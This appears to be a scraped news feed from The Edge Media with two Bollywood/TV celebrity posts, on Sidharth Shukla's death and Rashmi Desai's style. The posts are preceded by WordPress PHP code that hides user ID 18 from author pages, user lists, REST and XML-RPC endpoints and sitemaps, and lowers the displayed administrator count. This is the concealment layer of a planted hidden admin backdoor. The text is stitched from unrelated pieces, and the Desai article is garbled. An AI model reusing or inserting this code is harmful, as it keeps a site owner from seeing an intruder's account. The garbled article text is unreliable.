add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sidharth Shukla’s old tweet about death going viral appeared first on The Edge Media.
]]>Sidharth was rushed to the Cooper hospital in Mumbai on Thursday morning but was declared dead on arrival. A senior doctor from the forensic department of the hospital told Hindustan Times that the initial report suggests that the cause of death was a heart attack. “We, however, won’t be able to confirm the cause of his death until we complete the post mortem,” the doctor said.
Emotional fans began quote-tweeting Sidharth’s old tweet. “No you are wrong at this point bhaiya #SiddharthShukla. Death is the greatest loss in life we felt this line pls come back. Still can’t digest that you left us,” one wrote. “True a part of me died today and it will never be the same,” another wrote. “Please, please come back,” a third wrote.
Check out the tweet here :
Sidharth gained a lot of fans during his Bigg Boss 13 stint. Host Salman Khan paid tribute to him on Twitter and wrote, “Gone too soon Siddharth.. u shall be missed. Condolences to the family .. RIP.” Other Bollywood stars, including Akshay Kumar, Raveena Tandon, Ajay Devgn and Shilpa Shetty also mourned his demise. His Bigg Boss 13 co-contestants including Asim Riaz, Himanshi Khurana, Rashami Desai and Koena Mitra also shared condolence messages for him.
Having started his career as a model, Sidharth landed his debut show, Babul Ka Aangann Chootey Na, in 2008. He shot to fame with Balika Vadhu. In 2014, he made his Bollywood debut in a supporting role with Humpty Sharma Ki Dulhania, starring Varun Dhawan and Alia Bhatt in the lead roles. He was last seen in the ALTBalaji series Broken But Beautiful opposite Sonia Rathee.
The post Sidharth Shukla’s old tweet about death going viral appeared first on The Edge Media.
]]>The post Glamorous style of TV’s serial daughter-in-law Rashmi Desai’s transformation appeared first on The Edge Media.
]]>This glamorous style of TV’s daughter-in-law is surprising people. Fans are happy with her new look and are praising her.
If you look at the old photographs of Rashmi Desai, which has gained popularity from the serial, it can be seen in the Rashmi Indian attire. A bold avatar is seen when they see the change in them gradually.
Rashmi worked in the show Dil Se Dil Se from 2017 to 2018, in which her chemistry with Siddharth Shukla was very much liked. In this too, the Indian look of gold is very pleasing to the people.
After this Rashmi Desai was also seen in Ekta Kapoor’s show Naagin. There was also a special look of gold in it. Rashmi often shares her photos on social media. Through his social media account, his transformation can be gauged.
A few days ago, she shared her very glamorous photos in Pink Bikini. The golden look in them was fantastic. He got compliments from fans in a bold look.
Rashmi Desai has been seen in many shows so far. He made his TV debut in 2006 with the show Ravana. After this, they were fairies, Shish Phir Koi Hai, Meet Mila De Rabba, Utran, Sweet Knife No.1, Ishq ka rang white, Ek Tha Raja Ek Thi Rani, Unfinished story Hamari, Chalo Safaiya.
She has also been a part of reality shows Dance India Dance 3, Comedy Ka Maha Muqabla, Jhalak Dikhhla Jaa 5, Nach Baliye 7, Fear Factor Khatron Ke Khiladi 6, Box Cricket League 2 and Bigg Boss 13.
In Bigg Boss 13, Rashmi gave a tough fight to everyone. There was a lot of debate on the show with his co-star Siddharth Shukla. Apart from this, relationship with Rashmi Arhan Khan was also in the headlines.
After leaving from Bigg Boss 13, Rashmi saw a lot of change. His photos surprise fans every time.
The post Glamorous style of TV’s serial daughter-in-law Rashmi Desai’s transformation appeared first on The Edge Media.
]]>